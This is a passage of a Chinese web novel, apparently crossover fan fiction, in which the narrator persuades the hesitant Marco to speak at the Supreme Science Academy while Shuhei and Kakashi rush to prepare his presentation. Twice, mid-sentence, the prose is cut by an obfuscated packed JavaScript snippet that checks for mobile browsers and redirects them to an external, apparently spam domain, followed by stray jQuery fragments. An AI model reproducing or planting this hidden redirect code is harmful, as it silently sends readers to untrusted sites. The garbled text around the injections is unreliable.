我拽着他胳膊,正要和他说道。而他一转头,呆滞平淡的反应,却让我微微一怔,欲言又止。 ——马尔科不对劲! 念头倏然从我脑子里弹出来。 我仔细观察他的表情——他脸上显着迟疑,眼神空洞而飘忽,透露出一些欲说还休的难言之隐,显然心里有事。 正是四目相对,他不言,我也不语。 “吃饭吃饭!”卡卡西及时打着圆场。 “先吃饭,”修兵也说。 眼下哪里是吃饭的时候?大家都看出来他不对劲,都默契地不去提。但我拿起刀叉,却不由自主地反复思索着“为什么”? ——马尔科为什么不准备去? 我不能理解马尔科为什么会显出迟疑? 最高科学院奔着他来了,这不好吗?金子的光芒吸引来了伯乐,千里马常有,而伯乐可不常有啊! 遇到了难道不应该珍惜?机会就如同幸运和爱情,只可遇不可求,没有人知道命运在什么时候设置拐点,每次相遇都得来不易,应该倍感珍惜! 何况马尔科并不是不懂得珍惜——他向来是温柔的,不仅仅对我、对修兵、对卡卡西。 我们每天一起上课,我无数次看见写他名字的课本频频被翻阅,封面内里却始终焕然一新。 诸如此类的记忆比比皆是,无一不告诉我,他是懂得珍惜的人,他无比地珍惜他所拥有的一切。而现在一个千载难逢的好机会找上门来,写了他的名字,他却要拒之门外? 这自相矛盾的行为实在令我费解。 我不知道他为什么会这样选择? …… 我不明白,完全想不明白。太多的疑惑在我脑中,乱糟糟地缠绕着,使我失去了全部的胃口。 时钟一圈一圈地转动,寂静里,滴答流逝的不是现在和过去,而是属于马尔科的光明的未来。 我无法坐视不管,当即拍案而起。 “马尔科,你跟我过来一下。” “嗯?哦……” 屋外春光灿烂,太阳明晃晃地悬在我们头顶。 我丝毫感受不到温暖,满脑子想着:不对劲、不对劲、马尔科太不对劲了! ——哪有他这样的?明明有机会向上走,却甘于落后。这不合常理,他不是这样自甘堕落的人。 我想一定存在着什么干扰了他的选择。 他糊涂了,我不能糊涂。千载难逢的机会怎么可以白白放过? 我得好好和他谈谈。但我拽他来到后院,门关上,我们面对面站着。我又顿感语塞,全然不知该如何开口…… 马尔科已经对我足够坦诚,如果这件事他犹犹豫豫不肯说,那不代表他对我隐瞒,只意味着在这件事上,他甚至不能对自己坦诚。 一时间,我竟拿他毫无办法,倘若逼着他开口,结果大抵得不到真诚的流露。 我不能那样做。世界上只有真诚可以换真诚。逼迫不行,威胁不行,即便行,我也不能这样对待他。 “……对不起,”我看着马尔科的眼睛,决定以退为进。 “哈?”闻言,马尔科虎躯一震。 显然没料到我会这样开口,他愣愣地瞪大了眼睛。 “这……怎么了?大小姐,为什么道歉啊?” 他来问我,伸手拉着我胳膊,试图把我引向他身边。而我固执地站在原地不肯过去,故意甩开了他的手。 那是一种拒绝的姿态,意味着我们之间出了问题。 这问题在我,我问他,用很严重的语气:“你不去,是因为时间紧吗?” “噢……嗯,”他没有否认,“周三下午才收到通知,周天就要出席。满打满算才三天时间,时间太紧了。” 我把头重重地埋下去,用愈加严重的口吻:“三天时间也够了……都是我不好,这几天我耽搁你了。” 我是故意的,故意把语气加重。用小心委屈的口吻询问他,再用愤懑气恼的言辞责备自己。 时间当然是一个问题,但一个真正想要赴约的人,无论时间多紧也会拼尽全力。马尔科之所以没有,是因为他不想——这不是时间问题,是态度问题。 这件事是和我有关系,但就和他不交朋友一样,我并不是主要因素。 我知道,我都知道。但我仍然把责任包揽到了自己身上——这是一种沟通技巧,叫做“以退为进”。 “……都是我不好!”我用出了要掉小珍珠的表情和语气。 我有技巧,但我没有心,把握不好感情的尺度。 我可能装得太像了。 “没、没有!”马尔科大惊失色,“怎么会,你哪里耽搁我?” “就是我耽搁你了!”我一口咬定。 我必须要把所有责任揽到自己的身上来,恰好,事情本身也是如此—— 周三下午他收到通知,当时或许和经理在巡诊,没有注意;晚上回家,我肚子疼……他又在看护我; 再往后发展是周四我们闹了误会,我把他关在门外赶他走,下午他在伤心,没空搭理;晚上卡卡西给我们调解矛盾,又聊了几乎一彻夜; 而周五中午起床,修兵这边又开天窗,他下午忙着看护昏睡过去的修兵,也没有时间搭理;昨天晚上又和我聊到很晚; 然后就到了今天,周六——如果修兵不问,马尔科就不会说。 “……就是我的问题!算算时间就知道了,都是我耽搁了你!” 我的身体非常配合我的表演,当我作出一副委屈的样子,它瞬间掉起小珍珠。 曾经他温热的泪溅落在我的手心,给我带来了巨大的震撼。当同样的珍珠从我脸庞滑落,“啪嗒”一下,重重地摔碎,马尔科一愣,也顿时手忙脚乱起来。 “没有!不是!”他一把抱住我,不容我推辞,“不是你的问题!傻瓜,你、你别乱想呀!” 我没有乱想,但我也抱住他,脸埋在他胸口,发出委屈的声音:“呜呜……” “——别呜呜呀,大小姐!”马尔科慌了,“不是不是,不是你的问题!” “就是我的问题!”我要大声“呜呜”,用尽我全部的力气,“……呜呜,都是我不好,我耽搁了你的时间!” “哎呀,没有没有,傻瓜,你别呜呜呀!” “都怪我!” “没有,没有!不怪你,不是你的问题……真的!你听我解释!” …… 书上说了,以退为进的技巧,其使用要点在于引蛇出洞,点到即止即可。 既然马尔科愿意解释,那我不呜呜了,竖起耳朵听他讲—— “那你解释!” 我变脸比翻书还快。 他愣了愣,一脸的哭笑不得。 “哎哟,大小姐……”马尔科大概发现我在逢场作戏了,开始跟我讨价还价,“那我解释了,你就别掉小珍珠了,好不好?” “嗯,好。”我答应他。小珍珠说不掉就不掉,我的身体非常配合。 “我好了,你解释吧!” “这么快?” “嗯,快解释呀——” 我在等他解释,但他似笑非笑地盯着我,只顾着擦拭我脸上未干的泪痕。 ……马尔科不会是反悔了吧? 那我会不开心的!我先把眉头蹙起来,作出一副不开心的样子。 从前我和卡卡西一起追综艺,电影明星教授了“三秒落泪”的表演技巧,卡卡西让我学——那时我不知道学这能有什么用,现在我知道了。 三秒钟,如果马尔科不开口,我就掉小珍珠。 我的演技很好,几乎以假乱真。只要一噘嘴,三秒内,小珍珠就可以从我眼睛里滚下来。 我默数着倒计时,三、二、一…… “这是什么表情?”马尔科突然问我,“又要掉小珍珠了是不是?” “嗯!”我承认,我要掉了。 “哎呀,真是的……好了好了,我的大小姐,别掉小珍珠了。” 他知道我在欲擒故纵,不免笑出声来,声音清亮高远,但不含欢愉。当声音停下,笑意也随之停止。他的眼睛静谧深邃,潭水之上荫蔽重重,不见天日。 我仍抱着他,望着他,等他给我一个答复。 当声音彻底消逝,马尔科眸光一沉,缓缓说起:“其实……我明白你的意思,修兵的、卡卡西的,我也知道——你们很珍惜这个机会,想送我去更大的舞台,是吗?” “嗯嗯!是呀!”我连连点头,是这个意思,就是这个意思! 无论是对于我、还是对于修兵、卡卡西,“读书有用”都是颠簸不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053849|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破的真理。 事实上,人总是因为环境而改变,故而人生里许多的选择都未必一直“正确”。而“读书”不一样——“书中自有颜如玉,书中自有黄金屋”,对知识的渴慕无论什么时间、什么地点都是绝对正确的。 最高科学院是最高级别的知识殿堂。和他们打交道并不代表荣誉,但一定意味着对知识锲而不舍追求。 而追求知识意味着探索世界;探索世界等同于认识自己;认识自己方可以了解自己;了解自己才能够成为自己、做自己——我早说了,在这里,每个人的课题都是做自己。 追求知识,无疑是一条自我认识的康庄之路。 人该往高处走,最高科学院无疑是医学界的群山之巅。 我以为他不知道,但修兵已经解释过了,那个舞台远比他想象中更辽阔。 他可是一只鸟,鸟儿就应该去辽阔的天空尽情翱翔,不是吗? 我不知道他为什么不? 我们在一起生活了半年。我自诩对他了解。 他对知识有着孜孜不倦的追求。或许他只是有点困惑,虽然我不知道究竟是什么阻碍了他——我当然有一个猜测,但我不能直截了当地把窗户纸捅破,不能逼着他去面对。 除非他自己开口,亲自对我说—— “我知道那很好,但我……”马尔科说道,“我……能行吗?那么大的舞台,而且是给人演讲……” “之前上课……那些教授都很会讲。我倒是见识过一些大场面,但那都是闲杂人等,没有这么学术。而且他们的用词都很文雅,我的话……不太会说那种词语,而且还有口癖……” “大小姐,你不知道……” “其实,我发表出去的那几篇文章,修兵真的帮我润色很多。我自己……写不了那么精彩的文章啊……” 他磕磕绊绊地表达,声如细蚊,越来越微弱。还好我听力极佳,换了别人还真不一定能听清。 他垂着头,并没有哭,可我不知怎的,竟然想笑。 “马尔科,你蹲下。” “嗯?” “你去台阶下面站着!” “……哦,好。” 我指挥他下去站着,他太高了,这样我没有办法搂住他的脖子。 有关他的顾虑,我没有办法一一回答。他能不能行,要他做过之后才会有答案。我不知道,但我觉得这样的马尔科……莫名的可爱呢。 我要为他澄清一件事。 卡卡西刚刚教会了我,于无声处听惊雷。我也要使用这样的技巧,它很好地帮助了修兵,也会很好的帮助马尔科——毕竟他们都是那种温柔的人。只有温柔的人,才会因为照顾别人,疏忽自己、苛责自己。 “你看我。” “嗯?” 马尔科站好了,平视着我的眼睛。 我搂住他脖子,亲密地贴近他的身体。 “唔、怎么了,”马尔科不明所以,却笑着,不同于先前那种,他笑得油然开怀,“怎么了呀?刚才还哭,怎么又突然笑起来了yoi?” 我笑他,告诉他:“马尔科,你只有这个时候才会有口癖。” “呃……是、是吗?”他竟然不自知。 “是呀,”我和他拉开距离,重复刚才的对话,“自从你开始上学,你就没有口癖,说话也很文明。” “呃,真、真的吗?” 当然是真的,如果他不信,那我再演示给他看—— 当我抱过去,他的口癖出现了;而我离开,他的口癖也会消失。 但他没有别的朋友,只有我们。而我们之中,修兵和卡卡西明确拒绝和同性贴贴,所以只有我会和他贴贴,他的口癖也只有我会听见。 我并不觉得它有什么不好,恰恰相反,我感受不到他的情绪,口癖的出现是对我的提醒——我没有心去感受,但我可以利用通感,体会到“马尔科感到愉悦”。 “你看,口癖只有亲近的时候才会出现!” “它很可爱,是可爱的声音!” …… 我没有办法预测未来,但我必须告诉他,有一点他是错的。 卡卡西刚才展示了利用底线思维,以小博大。这是一个很好的技巧。我固然没有办法预测未来,但我可以证明他所想象的“未来”存在错误——怀疑的种子一旦播撒,一点是错的,别的又有几分正确呢? “在台上,口癖不会出现,”我可以断言。 “……”马尔科猛然一愣。 就像他说的,真正正确的道路根本不存在“错误”。 那些他所“以为”的未来,终究只是他以为的。它不是真的,真相如何,仍需时间去检验。 我不用说了。他什么都懂。 太阳渐渐西斜,微风撩动他柔软的发丝。 等他的目光再次聚焦于我,那蓦然回首的姿态里,干净的眼眸还像是稚气未脱的少年。 我伸手轻轻地抚摸他的头、他的脸。那些可爱的声音又从他喉咙里涌现,但那些泉水一样涌动的欢愉却永远不会在别的场合响起。 某种意义上来说,它是我的。 我告诉马尔科,它是我的。 我才不会觉得它有什么不好,我只会感谢他真情的馈赠。从另一种意义上来说,它是我们关系亲密的代表,是独属于我们的“秘密”。 “……下次要表达开心,就不用再学小猫,我可以发出‘马尔科的声音’yoi~” “哈哈,”马尔科闷声笑,头偏去一侧不再注视我,却遥望着屋檐外自由辽阔的天空。 那片天空广袤无垠,蔚蓝和洁白是勇敢的色彩。 世上哪有鸟儿不眷恋天空?他或许累了,累了当然可以休息。但当他休整完毕,天空仍然会召唤,他也仍然会响应天空的呼应。 ——这很浪漫,不是吗? 风把发丝送进了我微张的嘴唇里,我因此发现了我在笑。 “去试试吧,好吗?” “这是你期待的吗?” “当然了。” “那……” 他沉默着,凝视着天空的浮云。 恰逢有鸟从那片天空飞过。鸟儿不应该困在屋檐下,那双翅膀应该去天空翱翔。 “好吧,”马尔科转过头来,“但是明天开会,现在才开始准备……来得及吗?” “来得及!”我脱口而出。 怎么会来不及呢!想要“开始”,什么时候都不算晚! 马尔科是不是忘记了,他从来不是一个人,他的身后还有我们——一个人的力量固然微弱,可倘若支援他的是一整个家庭呢? 在那片明媚的春光里,房门“吱呀”一声开了。 修兵和卡卡西一左一右,抄着手,依靠着门框。听了半天墙角,终于闪亮登场。 64.24 春光(1) 三天时间固然紧凑。但阻碍马尔科的从来不是紧迫的时间,而是他迟疑的心情。这也从不是一个时间问题,而是态度问题。 而现在,态度已然不成问题。 他已经说了他愿意,只要他愿意——要种下一棵树,最好的时间是十年前,其次就是现在。 所以不会晚,怎么会晚呢?从现在开始,一切都还来得及。 马尔科的身后可不是空无一人。 家的大门会在任何的时候为他打开,家人会守候在门边,等待他的归来。 “咳,”卡卡西笑眯眯地,满脸写着“嗑到了”,还生怕马尔科不知道,此地无银三百两,故意解释着,“可不是偷听啊,只是猪扒要凉了,过来看看你们聊完了没有?” “咳,聊好了就回来吃饭,”修兵也说。他脸皮薄,耳朵发红,做贼心虚。 我没有心,不会觉得尴尬。 但蓦然回首,却见马尔科微微愣着,面有赧意。 这没有什么好害羞的。一家人何必说两家话?就当是今日春光明媚,他被太阳晒得脸热好了。 阳光一点点爬上台阶,照亮回家的道路。我牵着马尔科的手:“走吧,先进屋,边吃边说。” “嗯,”他咧着嘴,生涩地笑着,“好。” …… 饭菜已经凉了,卡卡西及时把它们送入了微波炉里。 在我们讨论“态度”时,修兵已经仔细研究了那封邀请函,研究好了“时间”。 “说来这时间……” 他把手机交还给马尔科,肃然说道:“时间还真是个问题——这种类型的会议需要备案。办事处会提前收集演讲稿和PPT,审核后录入操作系统测试,所以一般都会提前截稿。” “啊,是这样的吗?!”马尔科一怔,连忙查看起手上的函件。 上面只写了周天早上十点开会,并未提及截稿日期的事。 “因为你投稿用的账户身份是普通人,对方发来的也是普通版本,”修兵解释道。 □□掌管一切文化相关的活动,其行动流程大同小异。 修兵参加过,很是了解。邀请函上明确写着明天早上十点开会,但那是对普通人而言;而对能力者来说,演讲稿需要经过管理员和办事处的双重审核,所以截稿日期绝非明早十点。 函上之所以没有写,是因为最高科学院并不知道马尔科是能力者——但凡能力者,都会使用能力者系统;能力者使用普通人的操作系统,是一种“逃避监管”。 该行为严重违规,一旦被办事处发现,会给管理员发送警报,并且严惩不贷。 ……当时马尔科投稿,也没有想到会有这一出。 不过好在有这一出——伏笔既可以好,也可以坏,就看书写者如何发挥。 修兵给我一个眼神。 我明白他的意思—— 最高科学院既然是办事处下属的特殊机构,也可以按照办事处的一般流程推算。 那么,无论是普通人还是能力者,如果需要与会,首先需要明确回函。届时,主办方会告知具体时间。 对普通的与会者,一般要求提前发送文件,由主办方审核文件和人员与会资格;而能力者,文件的审核需要先经过办事处系统,办事处审核后,再提交给主办方审核。 最后主办方根据自己的审核结果,提交办事处与会人员名单;办事处将根据名单登记和审核。为保证安全,越重大的安保任务,越不接受临时变动。 而马尔科至今未回复,从程序上说,已经“拒绝”了对方的邀约。那么最高科学院提交给办事处的名单里,兴许也没有马尔科的名字…… 所以与其说这是时间问题,毋宁讲这是身份问题。 修兵的意思是,既然是身份问题,就要从身份上入手解决。 那时候卡卡西报告说明“任务需要,不得不隐瞒身份”,所以换来了马尔科的普通人身份,也造成了最高科学院误会。既然如此,不如将计就计、顺水推舟——再次借由“任务需要”解释说明,用我的管理员身份,从办事处这头处理。 时间紧要。 现在去联系最高科学院,解释马尔科实际上是能力者。即便他们认可,等操作员汇报给负责人,负责人召集相关人员开会研讨,研讨后联系办事处发函给管理员……一套手续办下来,恐怕要到下周了。 时间不等人,索性反向操作。 以我的管理员身份向办事处打报告,并由办事处通知最高科学院——以我的排位,办事处会优先处理;办事处的通知,最高科学院不敢怠慢,效率会显著提升。 这是唯一的办法。我瞥了眼卡卡西。 他会意地递来我的手机,示意道:“……报告刚才打上去了。快确认吧,大小姐?” “嗯。” 他办事,我放心。 我只管登入自己的管理系统——通知已经来了,只要点一下“确定”,办事处就会紧急联系最高科学院。省去层层递进的时间,仍来得及,绰绰有余。 但落子无悔。 点击前,我再次询问马尔科:“确定吗?” “呃……”他微微发愣,略显茫然。 半年时间其实并不长,他与我们的了解也不够深刻。 许多事,我和修兵、卡卡西不用言语,一个眼神就懂,但马尔科不明白,有关办事处、管理员、能力者、普通人……他一知半解,分外茫然。 那双眼迟疑地看着我、看着修兵、看着卡卡西。他不了解我们在说什么,时间紧要,谁也没有解释。 但半年时间其实也很长,感情又不为时间所限定。 他终于又注视着我,朝夕相处的情感滋长了信任,促使他重重地点头:“嗯,明天……去试试吧。” ——那就确定! 我飞快地通过了指示,特别要求办事处全速处理。 办事处第一时间给我回复——尊敬的管理员大人,您的要求已收到,将于半小时内处理好此事。 事情搞定。 身份问题解决,已经确保马尔科可以拿到入场券。接下来是确定截稿时间,进一步安排行程。 “……有什么办法确定截稿时间吗?”我问修兵,想来他是编辑,截稿他很了解。 “这个——”修兵刚开口。 “咳。”卡卡西突然一声咳嗽。 院外太阳高挂,屋内平静无风。 这一声他咳得惊天动地而恰到好处。我们不由得刮目相看——他虽然沉默不语,但眼睛却会说话。这句话马尔科当然不懂,而一起生活了这么多年的我和修兵太懂了,他是说他有办法。 ——卡卡西不就在负责安保工作吗? 我恍然大悟。他只是不能泄密,又不是不能说话。 “晚上一起吃饭吗?”我问卡卡西,“很久没有一起聚餐了呢!” “吃什么,大胃王烤肉?”他反问我。 大胃王自助烤肉是晚上六点开始——我没问,他也没说,我们只是在聊天,聊天不算违规。 我明白他的意思了,他是说“六点集合”。 集合后开始封校,肃清礼堂周围环境,为确保信息安全,办事处会锁定放映设备。现在卡卡西在家,意味着还不到最后警戒时刻,大抵工作人员在进行最后的文档审核流程。 那看来,所谓的“截稿日期”是在晚上六点。六点后,办事处清场,所有非办事处人员都要离开。 不过我们有卡卡西呢——只要赶在六点前,写好演讲稿、制作配套PPT,并且送入办事处系统审核,再让卡卡西送到学校里,找到工作人员当面拷入——一切就来得及。 已经快一点了,时间所剩无几。 卡卡西最迟五点就得从家里出发,得预留一点时间,方便他拷贝资料。 “就那家吧,”我问他的意思,“五点出发来得及么?人多,要不要四点半出发?” “五点来得及,”他告诉我,“如果来不及就换一家,我有熟人,能打折。” “好的。”我点点头,明白了。 卡卡西哪有什么做餐饮的熟人,他说的是现场工作人员他都熟。 这倒是,卡卡西人脉广,而且小地方能调动的人力资源不多——安保是A级以上的任务,小城市里有资格接取的能力者屈指可数,大概率卡卡西在里面是一把手。 邀请函上并没有说明来者何人,但其实可以从安保标准去推理—— 最高科学院内部职员也分研究员和各分院院长;而安保分三级。 假设启动一级安保,可以说明来者并非院长,大概是普通研究员;假使是特级,出勤人数四十以上,我严重怀疑安保人员不够,卡卡西“队长”压力很大。 “能打几折?”我顺着他的话往下问。 “四折吧,”卡卡西直言不讳。 “……”那必然是特级标准了。我愣住了,似乎来了一个了不起的专家团啊。 我们之间的黑话马尔科暂时听不懂,修兵能明白。 对面来头不小,触发了特级安保,而我们这小地方能出三、四人,专家团另有随行安保人员,甚至于某些“专家”本身就是能力者……附近城市也会调人支援,加一块居然才凑到堪堪十来人吗? 人员空缺如此之大,作为负责人的卡卡西压力陡增。 “生意好吗,”修兵抄起手,毛遂自荐着,“缺服务员的话,我有空,要我兼职吗?” “生意是好,但不能推介你,”卡卡西一口回绝道,“熟人不好开工资哦!” “……”修兵不由地一愣。他下意识看着我,我也愣住了。 这里是一个新世界。 原则上,到来后,任何能力者都不能和过去的人事物再产生联系。 所以卡卡西的意思是……专家团里有修兵认识的人? ——谁啊? 我们默不作声地对视,询问对方的意见。 最高科学院都是技术人才,其中生命医学方向、而且修兵认识……我能想到的人选不多,不会是十二番队队长涅茧利吧? 按理说,像他这种科学狂魔,理应在最高科学院就职。但我对他本人不太了解,许多人到来后性格会发生变化,我不确定涅茧利有没有变化,会不会出远门做“选拔”? 如果是他,马尔科应付得来吗? 我用眼神询问修兵,可时过境迁,修兵同我得出了相同的猜测,却同我一样得不出准确的答案。 没办法。眼下留给我们的似乎只有一个选择。 卡卡西压力巨大、需要支援;马尔科忧心忡忡、需要鼓励;修兵这头要等周一才有结果,周天的他即便面上不显,心里恐怕也像热锅上的蚂蚁,焦急难耐…… 春天到了。事情一件件一桩桩,像雨后春笋突然间钻出地底。 时间不等人,我想了想,快速决定:“明天一起去!” “一起?” “对。我们一起。” 只要我去,管理员亲临,卡卡西的安保压力骤降;如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061085|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果还有,我不介意亮出我的编号。 十点开场,演讲时间不定。要是马尔科紧张,也有我在身边陪他;只要我在,不管来者是谁,都不会公然刁难他; 修兵也要一起,在舆论反响的最终结果出来之前,不能让他一个人呆着,做什么都好,总之他也要跟我一起;而且他去了,安保压力更进一步降低…… 这真是一个好主意。一箭三雕,完美解决问题。 我已然决定:“一起去!马尔科第一次登台,难得有机会,我们一起给他加油;修兵带上相机,我们的家庭相册里马尔科的照片屈指可数,趁此机会,多给他拍几张!” “……”马尔科一愣,欲言又止。修兵也是一副颇有微词的表情。 “谁有意见?!”我警告他们,不准有意见。 “……”在场鸦雀无声,没人说,没说就是没有。 好了,问题解决! 时间不等人,既然有了方案,我们得赶快开始行动。 我宣布:“各司其职,开始行动!” 话音一落,修兵和卡卡西迅速出发,拿出了自己的手提电脑—— 阻碍从来都在心里,而不在于现实中。心魔一死,还有什么能难倒齐心协力的一家人? 演讲稿?不足为惧,如果马尔科实在紧张,就照着PPT念好了! 制作PPT?不足为惧,之前替马尔科修改文章,修兵写过大纲,留了底稿,此时只需修改,区区修改,手到擒来。 办事处审核流程繁琐?不足为惧,卡卡西不是在吗? 卡卡西开了电脑,接入办事处的系统,登入我的管理员账户——修兵只管写,他这边同步审核。 …… 修兵和卡卡西在忙,我也得行动起来,做点力所能及的差事。 除了演讲稿、PPT,邀请函上也明确要求“正装出席”。 我拉着马尔科回房间,督促他试穿去年定下的西装——在家闲置了半年,终于有穿出门的机会——修兵不能拒绝,这套衣服没有收费,代价是“返图”,我们还没有做到。 半年过去,马尔科身材没有太大的变化,正装上身,仍然剪裁得体。 我盯着他头顶微乱的金发,若有所思。 “卡卡西!” “嗯?” “救救我——” “来了来了。” 时间有限,现在去预约理发师已经来不及了。修兵忙着制作PPT,卡卡西暂时闲着,我拉卡卡西过来客串理发师。 “要怎么修理?” 卡卡西从卷轴里取出了一套美发剪,听我号令,三下五除二,给马尔科修理得服服帖帖。 “还要再短点吗?”卡卡西问我。 “不要了,”我围着马尔科转了两圈,“可以了,再剪短会有点青涩。” “青涩点不好吗?”卡卡西问,“短点精神,你就喜欢精神的。” “是么?”马尔科抓了抓头发,“那再剪短点么?” 他问我,我苦着脸:“不要不要!” 头发短点,显得精神,我是喜欢,但分场合。 平常马尔科和学生们打交道,青涩点更合群。但明天他是和最高科学院打交道——那里头可不是学生,马尔科再打扮得青涩就不合适了,会显得他的文章也没有经过风雨。而很明显,未经风雨的感情不是真的感情;不谙世事的文章也不是好的文章。 “明天不要那么青涩。” 我示意这长度很合适,卡卡西不用再调整,我很满意,他可以去忙了。 他却不走,笑眯眯地靠过来,轻轻地揉了揉我的头。 “明天有红毯喔~”卡卡西问我,“修兵老师难得一次出山,我们还没有全家福,明天拍一张吧!” “好!”我举双手赞同,“那我要穿最漂亮的裙子!” “……”可我好像没有漂亮裙子了。它们已经连同那颗珍珠一起卖给了置物中心。 话音刚落,我自己忽然意识到这件事。 卡卡西一眼勘破我的笨拙,哈哈笑我:“那么大小姐,想不想穿漂亮裙子?” “……没有漂亮裙子了。” “三二一!说想不想?三——” “想!” 我知道他要什么了,他拿着卷轴,疯狂暗示他留了一手。 或许卡卡西收拾房间时,也把我的裙子一并封印起来……而我不知道,我记性不好,许多事都无从得知。除非修兵拿出手表提醒我,除非卡卡西举着卷轴明示。 “……里面有吗?”我翘首以盼。 万能的卡卡西,掌管仓库的“河神”,常常能掏出一些早被我遗忘的“宝贝”。 这一次亦然,他信誓旦旦:“在我房间里,去选吧!” “……不是说好了,晚上再给她惊喜的吗?”修兵催着他快去做事。 “哈哈,突然改主意了,”卡卡西不走,抓住我,把我高高地举起,“明天大家都穿正装,就她没有……真不像话。还是早点告诉大小姐,让她也高兴一下!” 他把我举着,从卧室到客厅,举给修兵看—— “你看,她多高兴!” 我很高兴! 但我被抓住了,只顾着挣扎,顾不上接话。 “你就宠她吧。”修兵淡淡地笑。 “你就宠她吧!”卡卡西把我交给马尔科,也对马尔科说。 “……唔!”马尔科如梦初醒,笑了笑,像没听清,“好。” 他一口应答。 65.24 春光(2) 事实胜于雄辩。 我是对的,没有什么可以阻挡齐心协力的一家人。 留给我们的虽然只有四个小时,但有特级编辑修兵出马、有顶级忍者卡卡西坐镇,四小时足矣。下午五点半,卡卡西准时出发;六点集合前,他抽空给我们闪了个电话,意思是搞定了。 一切都按部就班地推进着,唯一的变数是马尔科。 ——他不对劲,马尔科又开始不对劲了。 中午卡卡西说东,他答西,神游天外,不知所云;晚上修兵问南,他讲北,颠来倒去,乱七八糟。 有时候,没有心并不是一件坏事。 我没有心没有牵挂,说一不二,掷地有声;而他有心,有不受控制的情绪充斥着心间,即便头脑做了决定,心中仍存疑虑和茫然,那些情绪互相拉扯,让他又显出几分迟疑。 但我要提醒他:“现在不能后悔了!” 马尔科不承认:“没有、我不是……” 但是什么呢?他又不说。 不说也罢。我知道,书上有过描述,我可以理解,答应归答应,在真正踏上讲台之前,他还是会有忐忑。 我就知道,绝不能把修兵一个人留在家里。因为明天的修兵也等同于今日的马尔科。 十二点一过,距离周一也不到二十四小时。 修兵房间的灯还亮着,我去找他:“早点睡觉,修兵!” “喔,好,”他头也没抬,在为我改珍珠手串,“我把耳环做好就睡。” “早点睡吧,明天不戴也没关系。” “当然有关系,”修兵坚持,“你没有首饰怎么行?你睡吧,我很快就做好了。明天早上你过来试戴。” “……好吧。” 那我睡了,拽着马尔科一起。 修兵状态尚可,明晚再重点关注他,今晚要看紧马尔科——睡前他不显端倪,但次日一起床,局促又出现在他脸上。 “你没事吧?”连修兵都问他。 “没、没有,”他不承认,却连手都不知道往哪里放。 “牵手,”我像招呼小狗一样,对马尔科下达指令。 “哦,好……”他伸出手。只有这样,马尔科才稍微能听。 …… 情况不妙,我知道他多少会有一些紧张,但我不知道马尔科竟能紧张成这样! 会议十点开始。八点钟,我们整装待发。 卡卡西早早安排了办事处的车辆停在路口,修兵去开车,我和马尔科等在门口。平常他总是叽叽喳喳说个没完,今天却一言不发地眺望着地平线,目光飘移,显出了十足的局促,心跳的频率也远超平常。 我绝对相信马尔科的实力,但他要是一直这样……我不确定他是否能如常发挥? “上车。”车来了,修兵伸手示意。 “不妙。”错身时,我用眼神示意他。 十来分钟的车程,车厢里始终沉默着。 不多时,车在一处空地停下。办事处在此拉起三百米警戒线,本次安保负责人旗木卡卡西先生在此恭候多时,特来为我开门。 “早安,大小姐!”卡卡西慵懒的招呼。 “嗯。”我扶着他的胳膊,只听全场鸦雀无声。 红毯一尘不染,绵延数百米。工作人员整齐划一地伫立两侧,无一例外地屏息凝神。 这是一个草长莺飞的春天,并非去年肃杀的寒秋。蔚蓝的天空、新生的绿叶、艳丽的红毯、一望无际的宽广视野……分明给这条康庄大路点缀了明快的色彩,人在如此轻盈的环境里,本应该挫锐解纷、和光同尘。而我一下车,时间却倒退回去年秋天,一如那日在牢狱里和马尔科初见,逼仄的通道挤满了制服,空气稀薄得令人窒息。 这等庄重肃穆的场合,马尔科还是第一次经历。 他今日本就分外呆滞,失去了往常的笑容,人在这肃杀的环境里,西装革履,一丝不苟,心情也不由得庄重肃穆起来。初来乍到,不通礼数的弊端一览无余,单是下车便显出十足的手忙脚乱。 修兵不动声色地靠近,使着眼色,示意马尔科跟随自己,不用管我。 我这边有卡卡西照料——他照顾我多时,礼节备至,一接我下车,立马俯身替我整理起身后的裙摆。 全场噤若寒蝉。每每此时,也只有卡卡西还能有心思同我说笑。 “哈,我就知道大小姐会选这一条!” 他眼睛弯弯的,一夜不见,分外思念,这一见面,尽情说起俏皮的傻话。 卡卡西的房间里展示了十条礼裙,其中九条都没有取掉防尘袋,唯独这一条被他摆在床上——床是私密的空间,如此行为分明述说着“他喜欢”“他推介”“拜托了就这一条”。 所以我穿了,无非顺应他的期待。 但这当然是一种宣誓主权的做法,也是表演的一环——不过是属于卡卡西的“表演”。 我没有接话,微笑着不反驳,是默认的意思。 至于我要说的话,会有修兵另同他讲:“……这还用猜吗?” “是吧,这就是默契!”卡卡西哈哈一笑,全靠“萌”混过关。 这里不是说话的地方。 太阳初升,天气清冷。卡卡西为我挑选的漂亮礼裙禁不起清风晨露的洗礼。 我得走了,赶紧去到礼堂,卡卡西必然早早开好空调,调整成合适的温度。红毯指引了我们此行前进的道路。我瞥了眼马尔科,马尔科一愣,连忙上前牵住我的手。 这里不是说话的地方。 整理划一的工作人员、逼仄的人墙,让我不由得想到那次初见……冰凉的牢狱、无光的通路、初来乍到的迷茫无措。 我紧紧地牵着马尔科,不想他已然紧张的心绪再被这肃穆的氛围加剧。当下事态已经有不妙的端头,若再加重,后果不堪设想。 我的思绪略重,步伐也一改常态地果决迅速。 